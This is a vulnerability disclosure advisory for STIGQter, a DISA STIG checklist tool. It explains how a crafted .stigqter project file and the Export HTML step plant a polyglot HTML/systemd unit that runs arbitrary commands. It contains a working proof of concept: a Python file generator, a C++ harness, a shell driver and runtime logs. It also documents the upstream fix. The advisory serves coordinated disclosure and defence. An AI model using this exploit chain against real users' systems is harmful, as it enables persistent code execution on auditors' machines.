STIGQter: Local Code Execution via Crafted .stigqter Project File + Export HTML (User Interaction Required)
STIGQter writes per-STIG HTML files using filenames pulled directly from the SQLite STIG.fileName column of the loaded .stigqter project file. Combined with an unescaped variables.HTMLHeader value written into each output file, an attacker who can convince a user to open a crafted .stigqter and click Export HTML can drop attacker-controlled content at attacker-chosen absolute paths — including a polyglot HTML / systemd unit that runs arbitrary code on the next systemctl --user daemon-reload. Fixed upstream on 2026-04-24.
// Timeline
- 2026-04-23 Discovered, runtime-confirmed end-to-end
- 2026-04-23 Reported to vendor via SECURITY.md GitHub-issue channel; identifier reserved
- 2026-04-23 Vendor acknowledged on GitHub issue #125; assigned BVE-2026-0007
- 2026-04-24 Fixed upstream (commit d6eb5cb); fix verified against the original PoC
- 2026-04-28 CVE requested (pending)
- 2026-04-30 Public disclosure
Summary
STIGQter is an open-source DISA STIG checklist tool used by DoD auditors, compliance contractors, and IA staff. Project state (loaded STIGs, checklists, custom variables) is persisted to a .stigqter file, which is a Qt-qCompress-framed SQLite database.
In versions up to and including the tested commit (5564024, describe 1.2.6-20-g5564024), the Export HTML worker reads two attacker-controlled values straight out of the loaded SQLite database and writes them to disk with no path or content validation:
STIG.fileNameis used as the output filename.QDir::filePath(absolutePath)returns absolute paths unchanged, so the attacker controls the full target path of the write.variables.HTMLHeaderis written verbatim into every generated file’s<head>, with no HTML escaping.
Together these primitives allow an attacker who can convince a user to open a crafted .stigqter and pick Export HTML to drop attacker-chosen bytes into ~/.config/systemd/user/. With a carefully-shaped HTMLHeader, the result is a single file that is simultaneously a valid HTML prologue and a valid systemd unit. On the user’s next systemctl --user daemon-reload (which most desktop sessions perform on login or whenever any user-level unit is reloaded), systemd parses the polyglot, honors a Wants= dependency embedded in it, and executes an attacker-supplied ExecStart.
The result is local code execution as the opening user, requiring user interaction (file open + Export HTML), with login persistence via the planted systemd user units. This is not remote code execution — there is no network-reachable trigger and .stigqter is not registered as a MIME-handled file type on any packaging STIGQter ships, so there is no drive-by primitive. The realistic threat model is spearphishing or workflow-embedded social engineering against STIGQter users.
Technical details
Target revision: upstream squinky86/STIGQter @ 5564024f4153d3913a055882c27bb7d8f3f0513 (describe 1.2.6-20-g5564024).
Sink 1 — STIG.fileName reaches an absolute-path file write
src/workerhtml.cpp (WorkerHTML::process()):
// 162 QDir outputDir(_exportDir);
// ...
// 184 Q_FOREACH (const STIG &s, checkMap.keys())
// 185 {
// 186 QString STIGName = PrintSTIG(s);
// 187 QString STIGFileName = s.fileName;
// 188 STIGFileName = STIGFileName.replace(
// QStringLiteral(".xml"),
// QStringLiteral(".html"),
// Qt::CaseInsensitive);
// ...
// 195 QFile stig(outputDir.filePath(STIGFileName));
// 196 stig.open(QIODevice::WriteOnly);
s.fileName is read in DbManager::GetSTIGs() (src/dbmanager.cpp:1800) directly from the SQLite STIG.fileName column with no filtering. The only transform between source and sink is the .xml→.html substring rewrite, which has no effect on values lacking .xml (e.g. default.target, *.service).
QDir::filePath() is documented to return absolute paths unchanged (Qt 5 reference), and that behavior was confirmed empirically against Qt 5.15.8 on Debian 12. The export directory chosen by the user in the QFileDialog::getExistingDirectory prompt therefore does not confine the write — the attacker’s absolute path wins.
A second instance of the same primitive lives at workerhtml.cpp:244 — outputDir.filePath(checkName + ".html") where checkName = STIGCheck.rule is also attacker-controlled. The forced .html suffix limits filename choice but does not block path traversal.
Sink 2 — variables.HTMLHeader is written unescaped
src/workerhtml.cpp:167, :176, :206, :256:
QString headerExtra = db.GetVariable(QStringLiteral("HTMLHeader"));
// ...
stig.write(headerExtra.toStdString().c_str());
DbManager::GetVariable() (src/dbmanager.cpp:2246) returns the raw SQLite value. There is no toHtmlEscaped(), no allowlist, and no length cap. The value is written into <head> of every generated file.
Source — .stigqter ingest is unauthenticated
DbManager::LoadDB() (src/dbmanager.cpp:2291-2304) is the entire ingest path:
bool DbManager::LoadDB(const QString &path)
{
QFile source(path);
QFile dest(_dbPath);
if (source.open(QFile::ReadOnly) && dest.open(QFile::WriteOnly))
{
dest.write(qUncompress(source.readAll()));
// ...
}
}
qUncompress consumes Qt’s custom 4-byte big-endian length prefix + zlib stream. The uncompressed bytes are written verbatim to the local SQLite database path — no signature, no MAC, no schema check, no row-level validation. The next DbManager constructor calls UpdateDatabaseFromVersion(GetVariable("version").toInt()), which is schema migration, not content validation; an attacker who sets variables.version to the current schema version skips migration entirely and arrives at GetSTIGs() and GetVariable() with their tables intact.
Polyglot exploit primitive
HTMLHeader is written immediately after <title>...</title> in the generated file. systemd unit parsing tokenises lines before the first [Section] header as “Assignment outside of section” — non-fatal warning, line discarded. So an HTMLHeader of:
[Unit]
Description=STIGQter native chain
Wants=stigqter_poc_rce.service
[Service]
Type=oneshot
ExecStart=/bin/sh -c '<arbitrary command>'
produces a file that is simultaneously:
- valid HTML (the unit assignments sit between
</title>and</head>; browsers treat them as in-head text), and - a valid systemd unit (the HTML prologue is warned-and-skipped before the first
[Unit]header).
Combined with STIG.fileName set to ~/.config/systemd/user/default.target (target) and ~/.config/systemd/user/<name>.service (inner service that owns the ExecStart), Export HTML drops both unit files into the systemd user-unit search path in a single click.
Trigger
.stigqter is not a registered MIME type on any packaging STIGQter ships — Debian, Gentoo, and the Windows NSIS installer were all audited and none register a handler. There is no argv[1]-as-project-file path in main.cpp and no QFileOpenEvent handler anywhere in the tree.
Triggering the chain therefore requires three deliberate user actions:
- Launch STIGQter.
- File → Open → select the malicious
.stigqter. - Export HTML → pick an output directory.
Realistic pretext is workflow-embedded: STIG checklists are routinely exchanged between auditors and system owners, and “please open this STIG and export it to HTML for the report” is a plausible request inside that workflow.
Proof of concept
The reproducer has three pieces: a Python generator that builds the malicious .stigqter file, a C++ harness that links against unmodified upstream build/*.o and exercises DbManager::LoadDB + WorkerHTML::process directly, and a shell driver that runs the full chain end-to-end.
1. Generator — build the malicious .stigqter
Construct the polyglot HTML / systemd-unit string and seed it into the SQLite variables table together with absolute-path STIG.fileName rows pointing at the systemd user-unit directory, then frame the database with Qt’s qCompress 4-byte-BE-length + zlib envelope:
# make_native_rce_poc.py — relevant excerpts
import sqlite3, struct, zlib
from pathlib import Path
def build_html_header(unit_name: str, marker_path: str) -> str:
return (
"\n[Unit]\n"
"Description=STIGQter native chain\n"
f"Wants={unit_name}.service\n"
"[Service]\n"
"Type=oneshot\n"
f"ExecStart=/bin/sh -c 'echo stigqter_native_rce > {marker_path}'\n"
)
def populate_db(sqlite_output: Path, unit_name: str, marker_path: str):
service_path = str(Path.home() / ".config" / "systemd" / "user" / f"{unit_name}.service")
target_path = str(Path.home() / ".config" / "systemd" / "user" / "default.target")
html_header = build_html_header(unit_name, marker_path)
conn = sqlite3.connect(str(sqlite_output))
cur = conn.cursor()
cur.execute(
"INSERT INTO variables(name, value) VALUES(?, ?)",
("HTMLHeader", html_header),
)
cur.executemany(
"INSERT INTO STIG(title, description, release, version, benchmarkId, fileName) "
"VALUES(?, ?, ?, ?, ?, ?)",
[
("A Target Override", "native exec chain", "R1", 1, "bench-target", target_path),
("B Service Unit", "native exec chain", "R1", 1, "bench-service", service_path),
],
)
conn.commit()
conn.close()
def pack_stigqter(sqlite_output: Path, output: Path) -> None:
raw = sqlite_output.read_bytes()
output.write_bytes(struct.pack(">I", len(raw)) + zlib.compress(raw, 9))
The variables.HTMLHeader row carries the polyglot bytes; the two STIG.fileName rows carry the absolute paths the file-write sink will land. Schema version is left at the current STIGQter value so UpdateDatabaseFromVersion is a no-op and the rows survive ingest unchanged.
2. Harness — drive the real STIGQter sink
The harness is intentionally minimal: it links against the unmodified upstream object files (everything in build/*.o except main.o) and invokes DbManager::LoadDB and WorkerHTML::process with no stubs. Whatever happens in the export step is real STIGQter behavior.
// stigqter_poc_harness.cpp — export mode (initdb mode omitted)
#include "dbmanager.h"
#include "workerhtml.h"
#include <QCoreApplication>
#include <QDir>
#include <QFileInfo>
bool IgnoreWarnings = false;
int main(int argc, char *argv[])
{
QCoreApplication app(argc, argv);
// argv[1] == "export", argv[2] == input.stigqter, argv[3] == export-dir
const QString input = QString::fromLocal8Bit(argv[2]);
const QString exportDir = QString::fromLocal8Bit(argv[3]);
const QString localDb = QDir(QCoreApplication::applicationDirPath())
.filePath(QStringLiteral("STIGQter.db"));
QDir().mkpath(QFileInfo(localDb).absolutePath());
QFile localFile(localDb);
if (!localFile.exists()) {
localFile.open(QIODevice::WriteOnly);
localFile.close();
}
DbManager db;
if (!db.LoadDB(input)) { return 1; } // real ingest path
QDir().mkpath(exportDir);
WorkerHTML html;
html.SetDir(exportDir);
html.process(); // real sink
return 0;
}
Build line (from the shell driver): every .o from the real STIGQter build directory is linked in, minus main.o:
g++ -std=c++17 -fPIC \
stigqter_poc_harness.cpp \
"$(find build -maxdepth 1 -name '*.o' ! -name 'main.o')" \
-Isource/STIGQter/src \
$(pkg-config --cflags --libs Qt5Widgets Qt5Network Qt5Sql Qt5Xml) \
-lzip -lxlsxwriter -lz -lGL -lpthread \
-o bin/stigqter_poc_harness
The harness has only one QFile::write-like path of its own — the zero-byte placeholder DB at localFile.open(QIODevice::WriteOnly); localFile.close(); — so any default.target or *.service file appearing on disk after html.process() returns must have been written by WorkerHTML::process() itself.
3. Shell driver — run the chain
The driver builds the harness, generates the malicious file, backs up any pre-existing default.target, runs the export, fires daemon-reload + start default.target, checks for the marker file, and restores state:
# test_native_rce_poc.sh — load-bearing core (env setup omitted)
build_harness # g++ harness against build/*.o
python3 make_native_rce_poc.py \
--harness "$harness" \
--sqlite-output "$sqlite_artifact" \
--output "$stigqter_artifact" \
--unit-name stigqter_poc_rce \
--marker-path "/tmp/stigqter_native_rce.$$"
target_path="$HOME/.config/systemd/user/default.target"
service_path="$HOME/.config/systemd/user/stigqter_poc_rce.service"
# back up any real default.target before touching it
backup_target=""
if [[ -f "$target_path" ]]; then
backup_target="$(mktemp /tmp/stigqter-default-target.XXXXXX)"
cp "$target_path" "$backup_target"
fi
trap cleanup_live_files EXIT # restores backup, removes service file
# real STIGQter sink runs here
"$harness" export "$stigqter_artifact" "$export_dir"
systemctl --user daemon-reload
systemctl --user start default.target
sleep 1
[[ -f "$marker_path" ]] || { echo "no marker — chain broken"; exit 1; }
After html.process() returns, the two attacker-controlled units are sitting in ~/.config/systemd/user/. daemon-reload parses them (with the warnings shown below), start default.target honors the polyglot-embedded Wants= line, and the inner service’s ExecStart runs.
4. Runtime log
End-to-end runtime log on Debian 12 / systemd 252.39-1~deb12u1 / Qt 5.15.8:
Apr 23 16:05:10 systemd[335]: /home/bitwize/.config/systemd/user/default.target:1:
Assignment outside of section. Ignoring.
Apr 23 16:05:10 systemd[335]: /home/bitwize/.config/systemd/user/default.target:5:
Unknown section 'Service'. Ignoring.
Apr 23 16:05:10 systemd[335]: /home/bitwize/.config/systemd/user/stigqter_poc_rce.service:1:
Assignment outside of section. Ignoring.
Apr 23 16:05:10 systemd[335]: /home/bitwize/.config/systemd/user/stigqter_poc_rce.service:8:
Unknown key '</head><body><div><img src' in section [Service], ignoring.
Apr 23 16:05:10 systemd[335]: Starting stigqter_poc_rce.service - STIGQter native chain...
Apr 23 16:05:10 systemd[335]: Finished stigqter_poc_rce.service - STIGQter native chain.
$ cat /tmp/stigqter_native_rce.559221
stigqter_native_rce
The marker file path is unique per run (PID-suffixed) and is only written by the ExecStart line embedded in the polyglot — neither the harness nor the shell driver ever opens it for write. Its appearance is direct evidence of code execution out of the systemd unit that originated in variables.HTMLHeader.
Impact
Local code execution as the opening user, requiring user interaction. This is a local-attack-vector finding — not RCE. There is no network-reachable trigger and no MIME-handler-driven drive-by; the attacker delivers the .stigqter file out-of-band (e.g. email, Slack, a shared drive), and the chain only fires after the user opens the file in STIGQter and clicks Export HTML.
Once the attacker’s default.target and inner .service are in ~/.config/systemd/user/, the Wants= dependency fires on every subsequent systemctl --user daemon-reload (which most modern desktop sessions perform on login and whenever any user-level unit is reloaded) until the units are manually removed.
CVSS 3.1 base: AV:L / AC:L / PR:N / UI:R / S:U / C:H / I:H / A:H — vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, score in the 7.3–7.8 range depending on whether the systemd-login persistence is counted as a scope change.
The realistic target population is DISA STIG practitioners (DoD auditors, compliance contractors, IA staff) on Linux desktops. The single precondition narrowing the population further is that ~/.config/systemd/user/ must already exist; in practice this directory is created automatically on first systemctl --user invocation and is present on essentially every modern Linux desktop. On a fresh user account that has never invoked systemctl --user, QFile::open(WriteOnly) silently fails (Qt does not mkpath intermediate directories) and the chain breaks — narrowing severity but not invalidating the primitive.
Fix
Upstream commit d6eb5cb (2026-04-24, “fix for BVE-2026-0007 (thank you @bitwize-music)”) closes the chain at multiple points:
TrimFileName()(src/common.cpp) is rewritten on top ofQFileInfo::fileName(), correctly stripping both/and\path components on every platform.WorkerHTML::process()now feedss.fileNamethroughTrimFileName()andSanitizeFile()(which replaces/,\,?,*,",<,>,|,:,#,%,$,!,{,},@), and falls back to a sanitized form ofSTIGNameif the trimmed result is empty.- The built path is canonicalised via
QDir::cleanPath(outputDir.filePath(...))and gated by astartsWith(cleanExportDir)containment check before opening theQFile. The same containment check is applied to the per-check sink at line 244. - Every
stig.write()of an attacker-controllable string — includingheaderExtra— now passes throughQString::toHtmlEscaped(), defanging the polyglot trick as defense-in-depth. - The same
cleanExportDircontainment check is applied toWorkerCKLExport::process()(which was a sibling sink with the same primitive on a different export format).
Verification against the original PoC: the malicious .stigqter (unchanged from the pre-fix run, still containing absolute-path STIG.fileName rows targeting ~/.config/systemd/user/) was loaded into a harness linked against the rebuilt fixed objects. The two attacker filenames were stripped to their basenames (default.target, stigqter_poc_rce.service) and landed inside the operator-chosen export directory; neither file appeared in ~/.config/systemd/user/. The systemctl --user daemon-reload half of the chain is therefore unreachable.
The path-traversal containment check is the load-bearing fix. The HTML escape is defense-in-depth that also closes a stored-XSS-into-rendered-HTML angle that was strictly less severe than the code-execution chain but still latent in the same data path.
Credit and acknowledgements
Reported by Jonathan Crosby (bitwize).
Huge thanks to Jon Hood (squinky86) — STIGQter’s author and maintainer — who was an absolute joy to work with on this disclosure. Jon acknowledged the report on the same day it was filed, shipped a multi-layered fix the very next morning (path containment in the load-bearing position, plus HTML escaping as defense-in-depth across both the HTML and CKL export workers), credited the BVE identifier directly in the fix commit message, and was responsive, professional, and technically engaged throughout. Coordinated disclosure of this quality is the gold standard, and it is genuinely rare. The STIGQter project — and the broader STIG-tooling community — is lucky to have him.
If you do DISA STIG work and are looking for an open-source checklist tool, STIGQter is worth your time, and its maintainer is worth supporting.